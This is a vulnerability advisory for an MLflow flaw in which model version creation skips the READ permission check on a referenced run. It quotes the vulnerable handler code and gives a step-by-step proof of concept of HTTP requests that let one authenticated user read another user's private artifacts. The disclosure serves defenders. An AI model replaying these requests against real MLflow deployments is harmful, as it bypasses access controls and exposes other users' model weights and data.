CVE-2026-69148: MLflow: CreateModelVersion source validation does not check READ permission on referenced run_id

Summary

The validatesourcerun and validatesourcemodel functions in mlflow/server/handlers.py verify that a model version source path is within the artifact directory of a specified run or logged model, but do not check whether the caller has READ permission on that run or model. An authenticated MLflow user can therefore reference another user's runid in CreateModelVersion, creating a model version whose artifact URI points at the victim's artifact directory. If the calling user has MANAGE permission on the registered model (which they do after creation), they can then read arbitrary files from the victim's artifact directory via GET /model-versions/get-artifact, bypassing the experiment-level READ permission gate on GET /get-artifact.

Details

POST /api/2.0/mlflow/model-versions/create is protected: the caller must have UPDATE permission on the registered model. However, the source/runid validation performed inside validatesourcerun only verifies path containment, not caller authorization:

python mlflow/server/handlers.py validatesourcerun() def validatesourcerun(source: str, runid: str) -> None: if islocaluri(source): if runid: store = gettrackingstore() run = store.getrun(runid) # <-- no permission check on runid source = pathlib.Path(localfileuritopath(source)).resolve() if islocaluri(run.info.artifacturi): runartifactdir = pathlib.Path(...).resolve() if runartifactdir in [source, source.parents]: return # validation passes raise MlflowException(...)

After creation, the model version's source and runid point at the victim's artifact directory. The caller can read files from that directory via the model version artifact handler, which derives the artifact path from the stored source:

GET /model-versions/get-artifact?name=<model>&version=<v>&path=<file>

This bypass matters in deployments where experiment-level permissions are explicitly restricted -- i.e., where the defaultpermission is NOPERMISSIONS or the target experiment has no grant for the attacker. Without the bypass, GET /get-artifact for the victim's run would return 403; via the model version artifact handler it returns 200.

PoC

Prerequisites: MLflow v3.13.0, --app-name basic-auth, defaultpermission=NOPERMISSIONS (or alice's experiment restricted). Alice owns experiment 2 and run ALICERUNID. Bob owns experiment 4. Bob has READ on his own resources but NOT on alice's experiment.

1. Alice uploads a private file:

bash file is at /mlruns/2/ALICERUNID/artifacts/secretweights.txt echo "ALICESECRETMODELWEIGHTS=0.42" > secretweights.txt

2. Bob directly tries to read alice's artifact -- blocked:

GET /get-artifact?runid=ALICERUNID&path=secretweights.txt HTTP/1.1 Authorization: Basic <bob credentials>

Response: HTTP 403 (when alice's experiment is private)

3. Bob creates a model version referencing alice's runid as source anchor:

POST /api/2.0/mlflow/model-versions/create HTTP/1.1 Authorization: Basic <bob credentials> Content-Type: application/json

{"name":"bob-model","source":"/mlruns/2/ALICERUNID/artifacts","runid":"ALICERUNID"}

Response: HTTP 200 json {"modelversion":{"name":"bob-model","version":"1","source":"/mlruns/2/ALICERUNID/artifacts","runid":"ALICERUNID"}}

4. Bob reads alice's private file via the model version artifact handler:

GET /model-versions/get-artifact?name=bob-model&version=1&path=secretweights.txt HTTP/1.1 Authorization: Basic <bob credentials>

Response: HTTP 200 -- body contains ALICESECRETMODELWEIGHTS=0.42

Live-validated on v3.13.0 with defaultpermission=READ (the file download is confirmed 200 OK); impact escalates to a true bypass when defaultpermission=NOPERMISSIONS.

Impact

An authenticated user who can create registered models can read arbitrary files from any other user's artifact directory, bypassing the experiment-level READ permission gate. Model weights, training data samples, and evaluation reports stored in a run's artifact directory are accessible. The attacker needs UPDATE (or MANAGE) permission on at least one registered model; with defaultpermission=READ, that is automatically granted to the model creator.